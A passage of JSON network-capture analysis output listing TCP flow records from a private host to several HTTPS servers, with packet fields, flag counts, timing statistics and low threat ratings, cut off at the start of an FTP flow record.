\"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.42.254\", \"ttl\": 128, \"ip_id\": 10782, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49957, \"dst_port\": 443, \"tcp_seq\": 4194378438, \"tcp_ack\": 1765244119, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 48, \"timestamp\": 1777213730.778945, \"timestamp_iso\": \"2026-04-26T19:58:50.778945\", \"timestamp_human\": \"2026-04-26 19:58:50.778\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.42.254\", \"ttl\": 128, \"ip_id\": 10783, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49957, \"dst_port\": 443, \"tcp_seq\": 4194378439, \"tcp_ack\": 1765244119, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"FIN\": 6, \"ACK\": 7, \"RST\": 1}, \"packet_sizes\": [54, 54, 54, 54, 54, 54, 54], \"inter_packet_intervals\": [0.3484930992126465, 0.695469856262207, 1.2030940055847168, 2.4993700981140137, 4.801218032836914, 9.69356393814087], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 19.241209030151367, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.36380250269257286, \"bytes_per_second\": 19.645335145398935, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54, \"avg_interval\": 3.2068681716918945, \"min_interval\": 0.3484930992126465, \"max_interval\": 9.69356393814087}, {\"source\": \"192.168.122.168\", \"target\": \"131.253.33.254\", \"packet_count\": 7, \"total_bytes\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [49956], \"dst_ports\": [443], \"first_packet\": 1777213711.537938, \"last_packet\": 1777213730.857066, \"packets\": [{\"packet_number\": 19, \"timestamp\": 1777213711.537938, \"timestamp_iso\": \"2026-04-26T19:58:31.537938\", \"timestamp_human\": \"2026-04-26 19:58:31.537\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"131.253.33.254\", \"ttl\": 128, \"ip_id\": 42256, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49956, \"dst_port\": 443, \"tcp_seq\": 1857739733, \"tcp_ack\": 4241599660, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 25, \"timestamp\": 1777213711.964322, \"timestamp_iso\": \"2026-04-26T19:58:31.964322\", \"timestamp_human\": \"2026-04-26 19:58:31.964\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"131.253.33.254\", \"ttl\": 128, \"ip_id\": 42257, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49956, \"dst_port\": 443, \"tcp_seq\": 1857739733, \"tcp_ack\": 4241599660, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 28, \"timestamp\": 1777213712.566196, \"timestamp_iso\": \"2026-04-26T19:58:32.566196\", \"timestamp_human\": \"2026-04-26 19:58:32.566\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"131.253.33.254\", \"ttl\": 128, \"ip_id\": 42258, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49956, \"dst_port\": 443, \"tcp_seq\": 1857739733, \"tcp_ack\": 4241599660, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 35, \"timestamp\": 1777213713.853838, \"timestamp_iso\": \"2026-04-26T19:58:33.853838\", \"timestamp_human\": \"2026-04-26 19:58:33.853\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"131.253.33.254\", \"ttl\": 128, \"ip_id\": 42259, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49956, \"dst_port\": 443, \"tcp_seq\": 1857739733, \"tcp_ack\": 4241599660, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 40, \"timestamp\": 1777213716.362379, \"timestamp_iso\": \"2026-04-26T19:58:36.362379\", \"timestamp_human\": \"2026-04-26 19:58:36.362\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"131.253.33.254\", \"ttl\": 128, \"ip_id\": 42260, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49956, \"dst_port\": 443, \"tcp_seq\": 1857739733, \"tcp_ack\": 4241599660, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 45, \"timestamp\": 1777213721.163498, \"timestamp_iso\": \"2026-04-26T19:58:41.163498\", \"timestamp_human\": \"2026-04-26 19:58:41.163\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"131.253.33.254\", \"ttl\": 128, \"ip_id\": 42261, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49956, \"dst_port\": 443, \"tcp_seq\": 1857739733, \"tcp_ack\": 4241599660, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 50, \"timestamp\": 1777213730.857066, \"timestamp_iso\": \"2026-04-26T19:58:50.857066\", \"timestamp_human\": \"2026-04-26 19:58:50.857\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"131.253.33.254\", \"ttl\": 128, \"ip_id\": 42262, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49956, \"dst_port\": 443, \"tcp_seq\": 1857739734, \"tcp_ack\": 4241599660, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"FIN\": 6, \"ACK\": 7, \"RST\": 1}, \"packet_sizes\": [54, 54, 54, 54, 54, 54, 54], \"inter_packet_intervals\": [0.42638397216796875, 0.6018738746643066, 1.287642002105713, 2.5085411071777344, 4.801118850708008, 9.693567991256714], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 19.319127798080444, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.3623351982119774, \"bytes_per_second\": 19.56610070344678, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54, \"avg_interval\": 3.2198546330134072, \"min_interval\": 0.42638397216796875, \"max_interval\": 9.693567991256714}, {\"source\": \"192.168.122.168\", \"target\": \"13.107.3.254\", \"packet_count\": 7, \"total_bytes\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [49955], \"dst_ports\": [443], \"first_packet\": 1777213711.538179, \"last_packet\": 1777213730.779057, \"packets\": [{\"packet_number\": 20, \"timestamp\": 1777213711.538179, \"timestamp_iso\": \"2026-04-26T19:58:31.538179\", \"timestamp_human\": \"2026-04-26 19:58:31.538\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.3.254\", \"ttl\": 128, \"ip_id\": 22826, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49955, \"dst_port\": 443, \"tcp_seq\": 654304944, \"tcp_ack\": 1203919404, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 24, \"timestamp\": 1777213711.886259, \"timestamp_iso\": \"2026-04-26T19:58:31.886259\", \"timestamp_human\": \"2026-04-26 19:58:31.886\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.3.254\", \"ttl\": 128, \"ip_id\": 22827, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49955, \"dst_port\": 443, \"tcp_seq\": 654304944, \"tcp_ack\": 1203919404, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 32, \"timestamp\": 1777213712.581767, \"timestamp_iso\": \"2026-04-26T19:58:32.581767\", \"timestamp_human\": \"2026-04-26 19:58:32.581\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.3.254\", \"ttl\": 128, \"ip_id\": 22828, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49955, \"dst_port\": 443, \"tcp_seq\": 654304944, \"tcp_ack\": 1203919404, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 34, \"timestamp\": 1777213713.784891, \"timestamp_iso\": \"2026-04-26T19:58:33.784891\", \"timestamp_human\": \"2026-04-26 19:58:33.784\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.3.254\", \"ttl\": 128, \"ip_id\": 22829, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49955, \"dst_port\": 443, \"tcp_seq\": 654304944, \"tcp_ack\": 1203919404, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 39, \"timestamp\": 1777213716.28422, \"timestamp_iso\": \"2026-04-26T19:58:36.284220\", \"timestamp_human\": \"2026-04-26 19:58:36.284\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.3.254\", \"ttl\": 128, \"ip_id\": 22830, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49955, \"dst_port\": 443, \"tcp_seq\": 654304944, \"tcp_ack\": 1203919404, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 44, \"timestamp\": 1777213721.085449, \"timestamp_iso\": \"2026-04-26T19:58:41.085449\", \"timestamp_human\": \"2026-04-26 19:58:41.085\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.3.254\", \"ttl\": 128, \"ip_id\": 22831, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49955, \"dst_port\": 443, \"tcp_seq\": 654304944, \"tcp_ack\": 1203919404, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 49, \"timestamp\": 1777213730.779057, \"timestamp_iso\": \"2026-04-26T19:58:50.779057\", \"timestamp_human\": \"2026-04-26 19:58:50.779\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"13.107.3.254\", \"ttl\": 128, \"ip_id\": 22832, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49955, \"dst_port\": 443, \"tcp_seq\": 654304945, \"tcp_ack\": 1203919404, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"FIN\": 6, \"ACK\": 7, \"RST\": 1}, \"packet_sizes\": [54, 54, 54, 54, 54, 54, 54], \"inter_packet_intervals\": [0.3480801582336426, 0.6955080032348633, 1.2031238079071045, 2.499329090118408, 4.801229000091553, 9.693608045578003], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 19.240878105163574, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.3638087597530929, \"bytes_per_second\": 19.645673026667016, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54, \"avg_interval\": 3.206813017527262, \"min_interval\": 0.3480801582336426, \"max_interval\": 9.693608045578003}, {\"source\": \"192.168.122.168\", \"target\": \"204.79.197.222\", \"packet_count\": 7, \"total_bytes\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [49958], \"dst_ports\": [443], \"first_packet\": 1777213711.540809, \"last_packet\": 1777213730.857168, \"packets\": [{\"packet_number\": 21, \"timestamp\": 1777213711.540809, \"timestamp_iso\": \"2026-04-26T19:58:31.540809\", \"timestamp_human\": \"2026-04-26 19:58:31.540\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"204.79.197.222\", \"ttl\": 128, \"ip_id\": 340, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49958, \"dst_port\": 443, \"tcp_seq\": 4216733383, \"tcp_ack\": 974826609, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 26, \"timestamp\": 1777213711.964448, \"timestamp_iso\": \"2026-04-26T19:58:31.964448\", \"timestamp_human\": \"2026-04-26 19:58:31.964\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"204.79.197.222\", \"ttl\": 128, \"ip_id\": 341, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49958, \"dst_port\": 443, \"tcp_seq\": 4216733383, \"tcp_ack\": 974826609, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 29, \"timestamp\": 1777213712.566245, \"timestamp_iso\": \"2026-04-26T19:58:32.566245\", \"timestamp_human\": \"2026-04-26 19:58:32.566\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"204.79.197.222\", \"ttl\": 128, \"ip_id\": 342, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49958, \"dst_port\": 443, \"tcp_seq\": 4216733383, \"tcp_ack\": 974826609, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 36, \"timestamp\": 1777213713.853919, \"timestamp_iso\": \"2026-04-26T19:58:33.853919\", \"timestamp_human\": \"2026-04-26 19:58:33.853\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"204.79.197.222\", \"ttl\": 128, \"ip_id\": 343, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49958, \"dst_port\": 443, \"tcp_seq\": 4216733383, \"tcp_ack\": 974826609, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 41, \"timestamp\": 1777213716.362465, \"timestamp_iso\": \"2026-04-26T19:58:36.362465\", \"timestamp_human\": \"2026-04-26 19:58:36.362\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"204.79.197.222\", \"ttl\": 128, \"ip_id\": 344, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49958, \"dst_port\": 443, \"tcp_seq\": 4216733383, \"tcp_ack\": 974826609, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 46, \"timestamp\": 1777213721.163578, \"timestamp_iso\": \"2026-04-26T19:58:41.163578\", \"timestamp_human\": \"2026-04-26 19:58:41.163\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"204.79.197.222\", \"ttl\": 128, \"ip_id\": 345, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49958, \"dst_port\": 443, \"tcp_seq\": 4216733383, \"tcp_ack\": 974826609, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 51, \"timestamp\": 1777213730.857168, \"timestamp_iso\": \"2026-04-26T19:58:50.857168\", \"timestamp_human\": \"2026-04-26 19:58:50.857\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"204.79.197.222\", \"ttl\": 128, \"ip_id\": 346, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49958, \"dst_port\": 443, \"tcp_seq\": 4216733384, \"tcp_ack\": 974826609, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"FIN\": 6, \"ACK\": 7, \"RST\": 1}, \"packet_sizes\": [54, 54, 54, 54, 54, 54, 54], \"inter_packet_intervals\": [0.42363905906677246, 0.6017971038818359, 1.2876739501953125, 2.5085458755493164, 4.801113128662109, 9.693589925765991], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 19.316359043121338, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.36238713436488634, \"bytes_per_second\": 19.568905255703864, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54, \"avg_interval\": 3.219393173853556, \"min_interval\": 0.42363905906677246, \"max_interval\": 9.693589925765991}, {\"source\": \"192.168.122.168\", \"target\": \"23.48.245.217\", \"packet_count\": 7, \"total_bytes\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [49954], \"dst_ports\": [443], \"first_packet\": 1777213711.540862, \"last_packet\": 1777213730.857188, \"packets\": [{\"packet_number\": 22, \"timestamp\": 1777213711.540862, \"timestamp_iso\": \"2026-04-26T19:58:31.540862\", \"timestamp_human\": \"2026-04-26 19:58:31.540\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"23.48.245.217\", \"ttl\": 128, \"ip_id\": 4828, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49954, \"dst_port\": 443, \"tcp_seq\": 226525659, \"tcp_ack\": 1444010957, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 27, \"timestamp\": 1777213711.964472, \"timestamp_iso\": \"2026-04-26T19:58:31.964472\", \"timestamp_human\": \"2026-04-26 19:58:31.964\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"23.48.245.217\", \"ttl\": 128, \"ip_id\": 4829, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49954, \"dst_port\": 443, \"tcp_seq\": 226525659, \"tcp_ack\": 1444010957, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 30, \"timestamp\": 1777213712.566261, \"timestamp_iso\": \"2026-04-26T19:58:32.566261\", \"timestamp_human\": \"2026-04-26 19:58:32.566\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"23.48.245.217\", \"ttl\": 128, \"ip_id\": 4830, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49954, \"dst_port\": 443, \"tcp_seq\": 226525659, \"tcp_ack\": 1444010957, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 37, \"timestamp\": 1777213713.853936, \"timestamp_iso\": \"2026-04-26T19:58:33.853936\", \"timestamp_human\": \"2026-04-26 19:58:33.853\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"23.48.245.217\", \"ttl\": 128, \"ip_id\": 4831, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49954, \"dst_port\": 443, \"tcp_seq\": 226525659, \"tcp_ack\": 1444010957, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 42, \"timestamp\": 1777213716.362483, \"timestamp_iso\": \"2026-04-26T19:58:36.362483\", \"timestamp_human\": \"2026-04-26 19:58:36.362\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"23.48.245.217\", \"ttl\": 128, \"ip_id\": 4832, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49954, \"dst_port\": 443, \"tcp_seq\": 226525659, \"tcp_ack\": 1444010957, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 47, \"timestamp\": 1777213721.163595, \"timestamp_iso\": \"2026-04-26T19:58:41.163595\", \"timestamp_human\": \"2026-04-26 19:58:41.163\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"23.48.245.217\", \"ttl\": 128, \"ip_id\": 4833, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49954, \"dst_port\": 443, \"tcp_seq\": 226525659, \"tcp_ack\": 1444010957, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 52, \"timestamp\": 1777213730.857188, \"timestamp_iso\": \"2026-04-26T19:58:50.857188\", \"timestamp_human\": \"2026-04-26 19:58:50.857\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"23.48.245.217\", \"ttl\": 128, \"ip_id\": 4834, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49954, \"dst_port\": 443, \"tcp_seq\": 226525660, \"tcp_ack\": 1444010957, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"FIN\": 6, \"ACK\": 7, \"RST\": 1}, \"packet_sizes\": [54, 54, 54, 54, 54, 54, 54], \"inter_packet_intervals\": [0.42360997200012207, 0.6017889976501465, 1.287674903869629, 2.508547067642212, 4.801111936569214, 9.69359302520752], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 19.316325902938843, \"avg_packet_size\": 54.0, \"packets_per_second\": 0.36238775609677404, \"bytes_per_second\": 19.568938829225797, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54, \"avg_interval\": 3.219387650489807, \"min_interval\": 0.42360997200012207, \"max_interval\": 9.69359302520752}, {\"source\": \"192.168.122.168\", \"target\": \"91.213.188.9\", \"packet_count\": 11, \"total_bytes\": 989, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"src_ports\": [50578], \"dst_ports\": [21], \"first_packet\": 1777213870.011506, \"last_packet\": 